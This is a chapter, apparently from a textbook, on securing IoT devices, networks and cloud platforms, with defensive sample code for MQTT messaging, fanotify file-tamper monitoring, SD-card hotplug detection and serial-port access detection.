According to the usage scenario, traditional physical hardware security considers waterproof and dustproof, electromagnetic interference, material strength, etc. This section pays more attention to the security of the debugging interface. The debugging interface of the IoT device is used to reduce the maintenance cost of the device. The debugging interface of the device will be the first simple channel to the core software of the device, and current devices generally have a serial port or ADB interface. The HomePod production process of Apple’s equipment hardware exceeds that of its contemporaries, through the use of independent debugging protocol interfaces (Fig. 6.2) and integrated design. We must use strong destructive tools such as a hand saw to open the box for in-depth analysis. In addition to improving the production process, we can also use password verification when protecting the debugging interface, including local fixed password verification and cloud password verification. As a more secure solution, cloud password verification is often adopted unless the attacker modifies all the communication verification procedures in the firmware (which is costly).
Fig. 6.2 The unique data interface used by HomePod
276
6.1.1.2
6 Solutions for IoT System Security
Operating System
The operating system and firmware belong to the software of the terminal device. Since the operating system is professional, we generally adopt mature solutions, and then tailor and customize the functions. Of course, there are also devices such as Toshiba’s Flash Air (Fig. 6.3) that will design a separate operating system. When choosing a mature operating system, small IoT devices generally use embedded Linux and Android systems. The security situation of the embedded Linux system is not optimistic: the serial port verification mechanism is not friendly; the program signature mechanism and the process sandbox do not exist in the original system; the user permissions of general equipment are not systematically divided. Therefore, there must be a complete customized program to provide basic protection capabilities. The Android system’s sandbox, program signature mechanism, user permissions, and TrustZone have greatly reduced the attack surface of the device. Moreover, the Android-based program reinforcement system has become more advanced with the development of mobile operating systems in recent years. We have also seen that more device operating systems start to develop from embedded Linux to Android. The firmware of development equipment based on lightweight operating systems generally does not distinguish between user mode and kernel mode during development, and applications and operating systems use a unified memory space, which means that applications that need to run with ordinary permissions are also used advanced permissions to run. This lightweight operating system is more insecure
Fig. 6.3 IoT products with independent operating systems
6.1 Introduction to the Solution
277
Fig. 6.4 IoT products with independent operating systems
than embedded Linux, however, it has also been used extensively in the past device design. By establishing the isolation between applications and kernel programs and between applications and applications, the reliability and security of the lightweight operating system can be improved. Figure 6.4 shows a possible isolation scheme.
6.1.1.3
Firmware
Firmware, as a software part other than the operating system, is the key for IoT devices to access the cloud platform. The core security elements of the terminal device need to be deployed in the firmware. In the standard security system, each IoT terminal device will be preset with unique identification and authentication credentials in the production process, which can be a key, certificate, etc. After ensuring that the credentials are not tampered with or copied, the firmware will use the credentials to build an important part of the terminal equipment security system. Strong terminal devices can be used to build security capabilities from multiple perspectives: identity authentication and identification; access control; firmware update schemes; file encryption; communication encryption. The security scheme adopted is as follows:
278
6 Solutions for IoT System Security
1. Two-way authentication: certificate-based mutual authentication between the terminal device and the cloud. The cloud only allows communication with terminal devices that enter the whitelist, which can prevent the access of analog devices. 2. Secure tunnel: By cooperating with the cloud, using VPN technologies such as TLS and IPSec to encrypt communication data to ensure that the data is not read or tampered with during network transmission. 3. Detection of abnormal behavior: Operation logs recorded in terminal devices and machine learning in the cloud can form detection rules for malicious files or malicious terminals. These security solutions will be introduced in Section 6.2.3 of this chapter.
6.1.2
Internet
IoT devices generally use mobile networks, Wi-Fi networks, Bluetooth networks, ZigBee networks, and other devices or the cloud to communicate. Because these network protocols have security attributes, it is more difficult for us to tamper with data packets directly on the network. However, attacks caused by reading and making full use of data have occurred many times, so we must ensure the security of communication data at the network level. Although TLS or other encryption technologies seem to protect data content, these encryption technologies are usually based on certificates and keys. And because the device is developed for analysts, the security of encryption also depends on the lower-level IoT security identification and authentication system. Section 6.2.1 of this chapter introduces more details of the system.
6.1.3
Cloud Platform
Both terminal devices and mobile apps interact with the cloud platform through the network, and the cloud platform can be used for data storage, data calculation, and data display. It is worth noting that according to the privacy data protection laws of various countries (such as the EU’s GDPR1), we need to strictly encrypt and store the data authorized by the user, and delete it in time after the data retention period expires. Common mature cloud platforms are generally based on public clouds or self-built private clouds. In addition to the traditional information security construction, we also need to pay attention to the following two aspects in the IoT business: 1. Security of external data interface. Self-use applications and third-party applications will obtain real-time information of the device through the data interface.
1
https://gdpr-info.eu/
6.2 Introduction to the Implementation of the Security Plan
279
Fig. 6.5 Security defense circle based on IoT ecosystem
The cloud platform needs to design a data access authority system and data encryption protocol. 2. The access of malicious devices. When the device is compromised and attempts to connect to the cloud platform, we need the cloud platform to identify and add the device to the blacklist. Due to the difference in the technical framework of the cloud platform of each company, this book does not introduce the implementation of the above core points.
6.2
Introduction to the Implementation of the Security Plan
This section will provide an IoT security SDK example program, including device and server authentication functions, firmware update functions, and terminal device protection functions. In the SDK, identification and authentication are the most basic means to establish mutual trust between the cloud platform and terminal equipment. The terminal protection function improves the threshold of device intrusion and the enhanced OTA upgrade ensures that the firmware will not be modified by the network side. These three functions can establish a simple defense circle of the IoT ecosystem (Fig. 6.5). The following sections will introduce each function in turn.
6.2.1
Identification and Authentication
The recognition of terminal devices by cloud platforms has always been regarded as a challenge for the industry. Early IoT devices were cost-constrained, and encryption
280
6 Solutions for IoT System Security
schemes and transmission schemes were relatively simple, and the connection to the server using simulated or counterfeit equipment was not complicated. The current device authentication schemes such as “one model has one password” (Fig. 6.7) or “one device has one password” (Fig. 6.6) are commonly used by current devices. The device name and certificate are registered on the cloud platform in advance, and the certificate is preset during the equipment production process, and the authentication function is completed on the cloud platform when the network is connected for the first time. It is worth noting that the terminal devices in these two solutions all prove their authenticity through certificate files. Attackers can generally obtain the content of the certificate through hardware reading or dynamic debugging, and then clone or simulate the device to connect to the cloud platform. There are two ways to prevent this attack, namely: 1. When the cloud platform deploys big data analysis programs, the network connection of each terminal device is recorded, sampled, and regularly analyzed. The terminal device that is judged to be abnormal according to the trajectory of usual behavior has been simulated or cloned. Abnormal behavior includes: abnormal IP, abnormal disconnection, abnormal location, etc. 2. Determine whether the terminal equipment deployment protection program is debugged and simulated, including detection of serial port connection, abnormal
Fig. 6.6 “One Device Has One Password” communication process
6.2 Introduction to the Implementation of the Security Plan
281
Fig. 6.7 “One Model Has One Password” communication process
program, abnormal port, and abnormal CPU instructions. These functions will be introduced in detail in Sect. 6.2.3.
6.2.2
OTA Firmware Update
Firmware update is a common operation in IoT devices and is often attacked by hackers. In the security SDK, the cloud platform will use the MQTT protocol for communication after authenticating the terminal device. The download address of the new firmware is issued according to the firmware version reported by the terminal device, and then the terminal device uses the https protocol to obtain the firmware file from the download address, and then update the terminal device. Figure 6.8 shows the complete firmware update process. The terminal device in the above figure informs the cloud platform of the current firmware version, and obtains firmware download path information from the cloud platform. These two functions are based on the MQTT protocol. The key code is shown in 6.1. Code 6.1 Key Code for Communication between Terminal Equipment and Cloud Platform var mqtt = require('mqtt'); //Connect to the server var client = mqtt.connect('mqtt://x.x.x.x:x'); var num = 0; var qtt={};
282
6 Solutions for IoT System Security
Fig. 6.8 Firmware update process qtt.aa='testaa'; qtt.bb='testbb'; //Send the message //Post a message with the subject 'test' setInterval(function (){ client.publish('test',JSON.stringify(qtt),{qos:1, retain: true}); }, 2000); //Accept the message //Subscribe to message with subject 'test' client.subscribe('test',{qos:1}); client.on('message', function (topic, message) { console.log(message.toString()); });
6.2.3
Security Protection of Terminal Equipment
The current IoT terminal devices generally lack security protection functions when they are designed, because first, hackers can physically touch the circuit boards of the terminal device, and can use the maintenance interface generally left by the equipment supplier to enter the terminal device’s operating system; Second, more manufacturers pay more attention to the security of network communications while
6.2 Introduction to the Implementation of the Security Plan
283
ignoring the fragile nature of terminal equipment. Deploying protection software in terminal equipment can raise the overall security threshold of the IoT ecosystem to prevent itself from becoming the shortest board in the barrel. The process of terminal protection function designed in the SDK is shown in Fig. 6.9, including file tampering detection; serial port access detection; SD card access detection. File tampering detection function uses Linux fanotify2 API to notify and intercept file system events. Fanotify, as a kernel feature provided by Linux, can monitor seven change events of the file system: 1. 2. 3. 4. 5. 6. 7.
FAN_ACCESS event, the device is accessed; FAN_MODIFY event, the device is modified; FAN_CLOSE_WRITE event, the writable file is closed; FAN_CLOSE_NOWRITE event, unwritable files are closed; FAN_OPEN event, the file is opened; FAN_OPEN_PERM, open the file with a certain permission; FAN_ACCESS_PERM, to access files with a certain permission. The key code of this function is shown in 6.2.
Code 6.2 Code to Detect File Tampering int check_file_system(int argc, char argv[3][20]) { int fanfd, i, result, cwdfd; if (argc == 1) { write(2, USAGE, sizeof(USAGE) - 1); exit(1); } /* Create a fanotify_fd. We only need to be notified about events, and * we only want to read the files. */ fanfd = fanotify_init(FAN_CLASS_NOTIF, O_RDONLY); if (fanfd < 0) { perror("fanotify_init"); /* The most likely reason to fail here is that we don't have * the CAP_SYS_ADMIN cabability needed by fanotify_init */ if (errno == EPERM) { write(2, OUTPUT_BUFFER, snprintf( OUTPUT_BUFFER, sizeof(OUTPUT_BUFFER), "fanotify needs to be run as root\n" )); } exit(1); } /* In theory fanotify_mark should be able to take AT_FDCWD for the dirfd. * However it seems to complain if we pass AT_FDCWD to it. So instead we * open the current working directory and pass the resulting fd. */ cwdfd = openat(AT_FDCWD, ".", O_RDONLY | O_DIRECTORY); if (cwdfd < 0) { perror("open"); exit(1); } for(i = 1; i < argc; ++i) {
2
https://www.man7.org/linux/man-pages/man7/fanotify.7.html
1. Threat terminal device Version, IP, Mac address, etc. 2. Threat time 3. Threat types 4. Details of threat action
Visual display layer
Fig. 6.9 The process of terminal protection function
Upgrade Server
OTA Module
Web Server Layer
Device Layer
SD Card access log
SD-Card Access Detection Module
Visual Analysis
Cloud
Serial access log
Serial Access Detection Module
Reading switches from files, resources occupying CPU memory
Network Transmission module
File system Log
File System Tamperproof Module
Big data analysis
Support server heartbeat request, disconnect reconnection mechanism, start connection, disconnect
Network port protection log
Port Check Module
Security Detection SDK (iot_sdk_safe.so)
IoT Security Device Solution Architecture Flow Chart
284 6 Solutions for IoT System Security
6.2 Introduction to the Implementation of the Security Plan
285
/* Parse the mask bits from the first argument */ uint64_t mask = parse_flags(MASKS, MASK_COUNT, argv[i]); unsigned int flags = FAN_MARK_ADD; char const * path = "."; /* Then parse the flags bits from the second argument */ if ((++i) < argc) flags |= parse_flags(FLAGS, FLAG_COUNT, argv[i]); /* Then optionally set path using the third argument */ if ((++i) < argc) path = argv[i]; result = fanotify_mark(fanfd, flags, mask, cwdfd, path); if (result < 0) { perror("fanotify_mark"); exit(1); } } close(cwdfd); printf("\r\n"); printf("File System Malicious Modification Detection\r\n"); printf("detecting...\r\n"); sleep(3); printf("\r\n"); printf("File system monitoring log\r\n"); for (;;) { ssize_t count = read(fanfd, INPUT_BUFFER, sizeof(INPUT_BUFFER)); if (count < 0) { perror("read"); exit(1); } char * input = INPUT_BUFFER; char * input_end = input + count; struct fanotify_event_metadata * event; while (input != input_end) { char * output = OUTPUT_BUFFER; /* Leave space at the end of the output buffer for a '\n' */ char * output_end = output + sizeof(OUTPUT_BUFFER) - 1; unsigned j; /* Check that we have enough input read an event structure. */ if (input_end - input < sizeof(struct fanotify_event_metadata)) { perror("Invalid fanotify_event_meta"); exit(1); } event = (struct fanotify_event_metadata *) input; /* Check that we have all of the event structure and that it's * a version that we understand */ if (input_end - input < event->event_len || event->vers != FANOTIFY_METADATA_VERSION) { perror("Invalid fanotify_event_meta"); exit(1); } /* Print the event mask. Each bit will be separated by '|' * characters. */ output = print_flags( output, output_end, MASKS, MASK_COUNT, event->mask ); /* Print the pid of the process that this is event is from */ output += snprintf( output, output_end - output, " %d ", event->pid ); /* We aren't told the path of the event directly. But we can read
286
6 Solutions for IoT System Security * the /proc/self/fd/%d symlink to see what path the file * descriptor was opened with */ snprintf( PROC_SELF_FD, sizeof(PROC_SELF_FD), "/proc/self/fd/%d", event->fd ); count = readlink(PROC_SELF_FD, output, output_end - output); if (count < 0) { perror("readlink"); exit(1); } output += count; /* Add a newline to the end. This is always safe because we left * ourselves a byte of space when picking output_end */ *(output++) = '\n'; write(1, OUTPUT_BUFFER, output - OUTPUT_BUFFER); /* Close the event's file descriptor. */ close(event->fd); /* Advance to the next event in the input buffer */ input += event->event_len; } }
}
The SD card access detection function is used in the following scenarios: The equipment design room reserves the pin circuit of the SD card socket, and also designs the function of reading the content of the SD card to reset the maintenance purpose of the system. But after it was made, it was used by hackers to maliciously copy arbitrary firmware. The principle of detection is to use NRTLINK socket to detect hot plug events. The key code is shown in 6.3. Code 6.3 SD Card Access Detection int check_sd() { struct sockaddr_nl snl; const int buffersize = 16 * 1024 * 1024; int retval; memset(&snl, 0x00, sizeof(struct sockaddr_nl)); snl.nl_family = AF_NETLINK; snl.nl_pid = getpid(); snl.nl_groups = 1; int hotplug_sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); if (hotplug_sock == -1) { printf("error getting socket: %s", strerror(errno)); return -1; } /* set receive buffersize */
6.2 Introduction to the Implementation of the Security Plan
287
setsockopt(hotplug_sock, SOL_SOCKET, SO_RCVBUFFORCE, &buffersize, sizeof(buffersize)); retval = bind(hotplug_sock, (struct sockaddr *) &snl, sizeof(struct sockaddr_nl)); if (retval < 0) { printf("bind failed: %s", strerror(errno)); close(hotplug_sock); hotplug_sock = -1; return -1; } printf("\r\n"); printf("SD card socket connection detection\r\n"); printf("detecting...\r\n"); sleep(3); printf("\r\n"); printf("SD card socket connects log record\r\n"); int i = 0; for(i=0; i< 20; i++) { char buf[UEVENT_BUFFER_SIZE*2] = {0}; recv(hotplug_sock, &buf, sizeof(buf), 0); printf("IOT_SDK---------------%s\n", buf); } return 0; }
The serial port access detection function is designed to prevent entering the operating system through a serial port connection. This detection filters the serial port access events in the system log. The key code is shown in 6.4. Code 6.4 Serial Port Access Detection Code #define CMD_LINE1 ("dmesg | grep ttyS") int check_serial() { FILE *fp; char buf[200] = {0}; if((fp = popen(CMD_LINE1, "r")) == NULL) { perror("Fail to popen\n"); exit(1); } printf("Serial port connection information detection\r\n"); printf("detecting...\r\n"); sleep(3); printf("\r\n"); printf("Serial port details\r\n");
288
6 Solutions for IoT System Security if(fgets(buf, 200, fp) == NULL) { printf("Test result: no suspicious serial port was found\r\n"); return 0; } printf("Suspicious serial port information\r\n"); while(fgets(buf, 200, fp) != NULL) { printf("%s", buf); } pclose(fp); return 0;
}
By deploying the above-mentioned file tamper-proof code, SD card detection code, and serial port detection code, device manufacturers can immediately discover devices attacked by hackers. If we want to block attacks accurately, we also need to cooperate with the data communication, device management, and mobile APP message notification modules to immediately shut down the device and notify the user to deal with it in time. The codes of the above related modules are quite different in different IoT devices, so readers can try to complete them in their own test environment.